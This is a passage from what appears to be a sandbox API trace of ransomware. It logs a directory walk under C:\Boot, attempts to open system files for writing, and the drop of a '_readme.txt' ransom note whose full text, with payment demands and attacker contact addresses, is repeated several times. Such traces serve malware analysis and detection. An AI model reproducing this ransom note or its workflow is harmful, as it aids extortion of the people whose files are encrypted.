0x3076c88 [0124.960] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.960] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.960] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.960] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.960] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.960] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.960] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.960] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.960] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.960] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.960] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.960] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.960] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.960] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.960] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x5c0000) returned 1 [0124.960] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.961] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.961] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.961] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.961] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.961] PathFindFileNameW (pszPath="C:\\Boot\\zh-CN\\") returned="zh-CN\\" [0124.961] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e40 [0124.961] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0124.961] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.961] PathFindFileNameW (pszPath="") returned="" [0124.961] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e40 [0124.961] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x768b0000 [0124.961] GetProcAddress (hModule=0x768b0000, lpProcName="SHGetFolderPathW") returned 0x76935708 [0124.961] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x800) returned 0x30f90a8 [0124.961] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x30f90a8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0124.961] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x810) returned 0x30e8ae0 [0124.961] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076c88 [0124.961] FreeLibrary (hLibModule=0x768b0000) returned 1 [0124.961] PathAppendW (in: pszPath="C:\\Boot\\zh-CN\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\zh-CN\\_readme.txt") returned 1 [0124.961] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.962] PathFileExistsW (pszPath="C:\\Boot\\zh-CN\\_readme.txt") returned 0 [0124.962] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x7d00) returned 0x30fa550 [0124.962] lstrcpyW (in: lpString1=0x30fa550, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg" [0124.962] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg", lpString2="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfgu2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfgu2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf" [0124.962] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9bf0 [0124.962] CreateFileW (lpFileName="C:\\Boot\\zh-CN\\_readme.txt" (normalized: "c:\\boot\\zh-cn\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.962] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-CN\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0124.962] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.962] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0124.962] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.962] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x3042190 [0124.962] PathFindExtensionW (pszPath="C:\\Boot\\zh-CN\\bootmgr.exe.mui") returned=".mui" [0124.962] CreateFileW (lpFileName="C:\\Boot\\zh-CN\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.962] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3042190 | out: hHeap=0x5c0000) returned 1 [0124.962] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0124.963] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0124.963] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.963] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.963] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0124.963] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.963] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.963] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.963] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.963] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.963] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.963] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.963] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.963] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.963] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.963] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.963] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.963] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.963] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.963] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.963] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.963] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.963] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.963] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.963] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.963] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.963] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.963] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.963] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.963] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.963] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.963] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.963] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.964] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0124.964] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.964] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.964] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.964] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.964] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.964] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.964] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.964] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.964] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.964] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.964] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.964] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.964] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.964] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.964] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.964] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.964] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.964] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.964] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.964] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.964] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.964] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.964] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.964] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.964] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.964] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.964] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.964] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.964] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.964] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.964] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.964] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.964] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.965] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.965] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.965] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.965] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.965] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.965] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.965] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.965] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.965] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.965] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.965] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.965] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.965] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.965] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.965] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.965] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.965] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.965] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.965] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.965] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.965] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.965] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.965] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.965] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.965] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.965] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.965] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.965] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.965] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.965] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.965] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.965] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.965] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.966] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.966] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.966] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.966] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.966] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.966] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.966] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.966] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.966] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.966] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0124.966] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.966] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.966] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.966] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.966] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.966] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.966] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.966] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.966] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.966] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.966] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076eb8 | out: hHeap=0x5c0000) returned 1 [0124.966] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076eb8 [0124.966] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.966] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, 